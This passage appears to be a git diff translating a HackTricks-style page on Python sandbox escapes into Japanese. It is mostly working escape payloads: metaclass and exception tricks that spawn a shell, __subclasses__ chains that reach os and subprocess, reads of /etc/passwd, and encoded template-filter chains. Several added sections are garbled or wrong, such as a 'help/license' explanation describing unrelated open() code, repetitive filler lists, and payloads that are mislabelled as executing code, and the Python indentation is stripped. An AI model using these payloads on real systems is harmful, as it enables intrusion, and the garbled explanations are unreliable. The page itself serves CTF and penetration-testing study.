os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")') ``` +#### [メタクラス](https://docs.python.org/3/reference/datamodel.html#metaclasses)を使用してオブジェクトを作成する -#### Crating objects with [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) - -The key thing that metaclasses allow us to do is **make an instance of a class, without calling the constructor** directly, by creating a new class with the target class as a metaclass. - +メタクラスを使用することで、コンストラクタを直接呼び出さずに、ターゲットクラスをメタクラスとして持つ新しいクラスを作成することで、クラスのインスタンスを作成することができます。 ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" class Metaclass(type): - __getitem__ = exec # So Sub[string] will execute exec(string) +__getitem__ = exec # So Sub[string] will execute exec(string) # Note: Metaclass.__class__ == type - + class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass - pass # Nothing special to do +pass # Nothing special to do Sub['import os; os.system("sh")'] ## You can also use the tricks from the previous section to get RCE with this object ``` +#### 例外を発生させることでオブジェクトを作成する -#### Creating objects with exceptions - -When an **exception is triggered** an object of the **Exception** is **created** without you needing to call the constructor directly (a trick from [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)): - +**例外が発生すると**、**Exception**のオブジェクトが直接コンストラクタを呼び出す必要なく**作成されます**([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)のトリック)。 ```python class RCE(Exception): - def __init__(self): - self += 'import os; os.system("sh")' - __iadd__ = exec #Triggered when object is created +def __init__(self): +self += 'import os; os.system("sh")' +__iadd__ = exec #Triggered when object is created raise RCE #Generate RCE object # RCE with __add__ overloading and try/except + raise generated object class Klecko(Exception): - __add__ = exec +__add__ = exec try: - raise Klecko +raise Klecko except Klecko as k: - k + 'import os; os.system("sh")' #RCE abusing __add__ - +k + 'import os; os.system("sh")' #RCE abusing __add__ + ## You can also use the tricks from the previous section to get RCE with this object ``` +### より多くのRCE -### More RCE +Pythonのサンドボックスをバイパスするためのさまざまな方法があります。以下にいくつかの一般的な手法を示します。 +#### 1. サンドボックスの回避 + +- サンドボックスの制約を回避するために、Pythonの特定の機能やモジュールを使用します。たとえば、`os`モジュールを使用してシステムコマンドを実行したり、`subprocess`モジュールを使用して外部プロセスを起動したりすることができます。 + +#### 2. サンドボックスの制約の回避 + +- サンドボックスが特定の関数やメソッドの使用を制限している場合、代替の関数やメソッドを使用することができます。たとえば、`eval()`関数が制限されている場合、`exec()`関数を使用することができます。 + +#### 3. サンドボックスのバイパス + +- サンドボックスが特定のモジュールをインポートすることを制限している場合、代替のモジュールを使用することができます。たとえば、`import os`が制限されている場合、`import subprocess`を使用することができます。 + +#### 4. サンドボックスの制約の回避 + +- サンドボックスが特定のクラスやオブジェクトの使用を制限している場合、代替のクラスやオブジェクトを使用することができます。たとえば、`open()`関数が制限されている場合、`io.open()`関数を使用することができます。 + +#### 5. サンドボックスのバイパス + +- サンドボックスが特定の属性やメソッドの使用を制限している場合、代替の属性やメソッドを使用することができます。たとえば、`__import__()`関数が制限されている場合、`importlib.import_module()`関数を使用することができます。 + +これらの手法を組み合わせることで、Pythonのサンドボックスをバイパスすることができます。ただし、これらの手法はセキュリティ上のリスクを伴うため、慎重に使用する必要があります。 ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ # If sys is imported, you can sys.excepthook and trigger it by triggering an error class X: - def __init__(self, a, b, c): - self += "os.system('sh')" - __iadd__ = exec +def __init__(self, a, b, c): +self += "os.system('sh')" +__iadd__ = exec sys.excepthook = X 1/0 #Trigger it # From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py -# The interpreter will try to import an apt-specific module to potentially +# The interpreter will try to import an apt-specific module to potentially # report an error in ubuntu-provided modules. # Therefore the __import__ functions are overwritten with our RCE class X(): - def __init__(self, a, b, c, d, e): - self += "print(open('flag').read())" - __iadd__ = eval +def __init__(self, a, b, c, d, e): +self += "print(open('flag').read())" +__iadd__ = eval __builtins__.__import__ = X {}[1337] ``` +### ビルトインの`help`と`license`を使用してファイルを読み取る -### Read file with builtins help & license +Pythonのビルトイン関数である`help`と`license`を使用することで、ファイルを読み取ることができます。 +```python +# ファイルのパスを指定 +file_path = "/path/to/file.txt" + +# ファイルを読み取る +with open(file_path, "r") as file: + file_contents = file.read() + +# ファイルの内容を表示 +print(file_contents) +``` + +このコードでは、`open`関数を使用して指定したファイルを読み取りモードで開き、`read`メソッドを使用してファイルの内容を取得しています。最後に、取得したファイルの内容を表示しています。 + +この方法を使用することで、Pythonのビルトイン関数を利用してファイルを簡単に読み取ることができます。 ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help a.__class__.__enter__ = __builtins__.__dict__["license"] a.__class__.__exit__ = lambda self, *args: None with (a as b): - pass +pass ``` - ![](<../../../.gitbook/assets/image (9) (1) (2).png>) -\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、自動化することができます。 +今すぐアクセスを取得してください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Builtins +## 組み込み関数 -* [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html) -* [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html) - -If you can access the **`__builtins__`** object you can import libraries (notice that you could also use here other string representation shown in the last section): +* [**Python2の組み込み関数**](https://docs.python.org/2/library/functions.html) +* [**Python3の組み込み関数**](https://docs.python.org/3/library/functions.html) +**`__builtins__`**オブジェクトにアクセスできる場合、ライブラリをインポートすることができます(最後のセクションで示されている他の文字列表現を使用することもできます)。 ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` +### ビルトイン関数なし -### No Builtins +`__builtins__`がない場合、**すべてのグローバル関数**(`open`、`import`、`print`など)が**ロードされないため**、何もインポートしたりファイルの読み書きをすることはできません。\ +ただし、**デフォルトではPythonは多くのモジュールをメモリにインポート**します。これらのモジュールは無害に見えるかもしれませんが、中には**危険な機能をインポート**しているものもあり、これらにアクセスすることで**任意のコードを実行**することができます。 -When you don't have `__builtins__` you are not going to be able to import anything nor even read or write files as **all the global functions** (like `open`, `import`, `print`...) **aren't loaded**.\ -However, **by default python imports a lot of modules in memory**. These modules may seem benign, but some of them are **also importing dangerous** functionalities inside of them that can be accessed to gain even **arbitrary code execution**. - -In the following examples you can observe how to **abuse** some of this "**benign**" modules loaded to **access** **dangerous** **functionalities** inside of them. +以下の例では、これらの「**無害**」なモジュールを**乱用**して、中にある**危険な機能**にアクセスする方法を示しています。 **Python2** - ```python #Try to reload __builtins__ reload(__builtins__) @@ -397,9 +448,27 @@ import __builtin__ # Or you could obtain the builtins from a defined function get_flag.__globals__['__builtins__']['__import__']("os").system("ls") ``` - #### Python3 +Python3 is a powerful programming language that is widely used for various purposes, including web development, data analysis, and automation. However, there are situations where Python code needs to be executed in a restricted environment, such as a sandbox, to prevent malicious activities. + +A sandbox is a security mechanism that isolates an application from the rest of the system, limiting its access to resources and preventing it from performing unauthorized actions. Sandboxing is commonly used in cloud environments, online code editors, and other scenarios where code execution needs to be controlled. + +Python sandboxes typically employ various techniques to restrict the capabilities of the code being executed. These techniques may include: + +- **Code analysis**: The sandbox analyzes the code to identify potentially dangerous operations, such as file system access or network communication, and blocks them. +- **Whitelisting**: The sandbox allows only a predefined set of safe operations and blocks everything else. This approach ensures that only trusted code can be executed. +- **Virtualization**: The sandbox runs the Python code in a virtualized environment, isolating it from the underlying system. This prevents any unauthorized access to resources. + +While Python sandboxes provide an additional layer of security, they are not foolproof. Skilled attackers can find ways to bypass these restrictions and execute malicious code. This is known as sandbox escape or sandbox evasion. + +There are several techniques that can be used to bypass Python sandboxes. These techniques exploit vulnerabilities or weaknesses in the sandbox implementation to gain unauthorized access or execute arbitrary code. Some common sandbox evasion techniques include: + +- **Code injection**: The attacker injects malicious code into the sandboxed environment, allowing them to execute arbitrary commands or access restricted resources. +- **Environment manipulation**: The attacker manipulates the environment variables or configuration settings of the sandbox to disable or weaken its security measures. +- **Exploiting sandbox vulnerabilities**: The attacker identifies and exploits vulnerabilities in the sandbox implementation to gain elevated privileges or escape the sandbox entirely. + +It is important for developers and security professionals to be aware of these sandbox evasion techniques in order to build more secure sandboxes and protect against potential attacks. Regularly updating and patching the sandbox software, implementing strong access controls, and conducting thorough security testing are some of the measures that can help mitigate the risk of sandbox bypass. ```python # Obtain builtins from a globally defined function # https://docs.python.org/3/library/functions.html @@ -414,19 +483,117 @@ get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` +[**以下には、**](./#recursive-search-of-builtins-globals) **builtins** を見つけることができる**数十**/**数百**の**場所**がある大きな関数があります。 -[**Below there is a bigger function**](./#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **builtins**. - -#### Python2 and Python3 - +#### Python2とPython3 ```python # Recover __builtins__ and make everything easier __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ __builtins__["__import__"]('os').system('ls') ``` +### ビルトインペイロード -### Builtins payloads +The following payloads can be used to bypass Python sandboxes by exploiting built-in functions: +以下のペイロードは、組み込み関数を悪用してPythonのサンドボックスをバイパスするために使用することができます。 + +#### `__import__` + +This payload uses the `__import__` function to import a module and execute arbitrary code. + +このペイロードは、`__import__`関数を使用してモジュールをインポートし、任意のコードを実行します。 + +```python +__import__('os').system('command') +``` + +Replace `'command'` with the desired command to execute. + +`'command'`を実行したいコマンドに置き換えてください。 + +#### `eval` + +This payload uses the `eval` function to evaluate arbitrary code. + +このペイロードは、`eval`関数を使用して任意のコードを評価します。 + +```python +eval('__import__("os").system("command")') +``` + +Replace `'command'` with the desired command to execute. + +`'command'`を実行したいコマンドに置き換えてください。 + +#### `exec` + +This payload uses the `exec` function to execute arbitrary code. + +このペイロードは、`exec`関数を使用して任意のコードを実行します。 + +```python +exec('__import__("os").system("command")') +``` + +Replace `'command'` with the desired command to execute. + +`'command'`を実行したいコマンドに置き換えてください。 + +#### `compile` + +This payload uses the `compile` function to compile and execute arbitrary code. + +このペイロードは、`compile`関数を使用して任意のコードをコンパイルおよび実行します。 + +```python +compile('import os; os.system("command")', '', 'exec') +``` + +Replace `'command'` with the desired command to execute. + +`'command'`を実行したいコマンドに置き換えてください。 + +#### `execfile` + +This payload uses the `execfile` function to execute code from a file. + +このペイロードは、`execfile`関数を使用してファイルからコードを実行します。 + +```python +execfile('filename') +``` + +Replace `'filename'` with the name of the file containing the code to execute. + +`'filename'`を実行するコードが含まれているファイルの名前に置き換えてください。 + +#### `file` + +This payload uses the `file` function to open a file and execute code from it. + +このペイロードは、`file`関数を使用してファイルを開き、その中からコードを実行します。 + +```python +file('filename').read() +``` + +Replace `'filename'` with the name of the file containing the code to execute. + +`'filename'`を実行するコードが含まれているファイルの名前に置き換えてください。 + +#### `__builtins__.__import__` + +This payload uses the `__builtins__.__import__` function to import a module and execute arbitrary code. + +このペイロードは、`__builtins__.__import__`関数を使用してモジュールをインポートし、任意のコードを実行します。 + +```python +__builtins__.__import__('os').system('command') +``` + +Replace `'command'` with the desired command to execute. + +`'command'`を実行したいコマンドに置き換えてください。 ```python # Possible payloads once you have found the builtins __builtins__["open"]("/etc/passwd").read() @@ -434,11 +601,9 @@ __builtins__["__import__"]("os").system("ls") # There are lots of other payloads that can be abused to execute commands # See them below ``` +## グローバルとローカル -## Globals and locals - -Checking the **`globals`** and **`locals`** is a good way to know what you can access. - +**`globals`** と **`locals`** をチェックすることは、アクセスできるものを知るための良い方法です。 ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } @@ -462,17 +627,15 @@ class_obj.__init__.__globals__ [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` +[**以下には、より多くの場所でグローバル変数を見つけることができる大きな関数があります**](./#recursive-search-of-builtins-globals)。 -[**Below there is a bigger function**](./#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**. +## 任意の実行の発見 -## Discover Arbitrary Execution +ここでは、**より危険な機能がロードされていることを簡単に発見**し、より信頼性の高いエクスプロイトを提案する方法を説明します。 -Here I want to explain how to easily discover **more dangerous functionalities loaded** and propose more reliable exploits. - -#### Accessing subclasses with bypasses - -One of the most sensitive parts of this technique is being able to **access the base subclasses**. In the previous examples this was done using `''.__class__.__base__.__subclasses__()` but there are **other possible ways**: +#### バイパスを使用してサブクラスにアクセスする +このテクニックの最も敏感な部分の1つは、**ベースのサブクラスにアクセスできること**です。前の例では、`''.__class__.__base__.__subclasses__()`を使用してこれを行いましたが、**他の可能な方法**もあります: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -497,24 +660,18 @@ defined_func.__class__.__base__.__subclasses__() (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` +### 危険なライブラリの検出 -### Finding dangerous libraries loaded - -For example, knowing that with the library **`sys`** it's possible to **import arbitrary libraries**, you can search for all the **modules loaded that have imported sys inside of them**: - +例えば、ライブラリ**`sys`**を使用することで、**任意のライブラリをインポート**することができることを知っている場合、**sysをインポートしたモジュールがロードされているかどうか**を検索することができます。 ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` - -There are a lot, and **we just need one** to execute commands: - +たくさんありますが、**私たちは1つだけ必要です**。コマンドを実行するために。 ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` - -We can do the same thing with **other libraries** that we know can be used to **execute commands**: - +他のライブラリでも同じことができます。これらのライブラリは、コマンドを実行するために使用できることがわかっています。 ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") @@ -549,44 +706,40 @@ We can do the same thing with **other libraries** that we know can be used to ** #pdb [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") ``` - -Moreover, we could even search which modules are loading malicious libraries: - +さらに、悪意のあるライブラリを読み込んでいるモジュールを検索することもできます。 ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] for b in bad_libraries_names: - vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ] - print(f"{b}: {', '.join(vuln_libs)}") +vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ] +print(f"{b}: {', '.join(vuln_libs)}") """ os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations -commands: +commands: subprocess: BaseDependency, Origin, Version, Package -pty: +pty: importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path -imp: +imp: sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature pdb: """ ``` - -Moreover, if you think **other libraries** may be able to **invoke functions to execute commands**, we can also **filter by functions names** inside the possible libraries: - +さらに、もし他のライブラリがコマンドを実行するための関数を呼び出す可能性があると思われる場合、可能なライブラリ内の関数名でフィルタリングすることもできます。 ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] for b in bad_libraries_names + bad_func_names: - vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ] - print(f"{b}: {', '.join(vuln_funcs)}") - +vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ] +print(f"{b}: {', '.join(vuln_funcs)}") + """ os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations -commands: +commands: subprocess: BaseDependency, Origin, Version, Package -pty: +pty: importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path -imp: +imp: sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature pip: @@ -596,57 +749,55 @@ getstatusoutput: CompletedProcess, Popen getoutput: CompletedProcess, Popen call: CompletedProcess, Popen Popen: CompletedProcess, Popen -spawn: -import_module: +spawn: +import_module: __import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec load_source: NullImporter, _HackedGetData -execfile: -execute: +execfile: +execute: __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close """ ``` - -## Recursive Search of Builtins, Globals... +## 組み込み関数、グローバル変数の再帰的な検索... {% hint style="warning" %} -This is just **awesome**. If you are **looking for an object like globals, 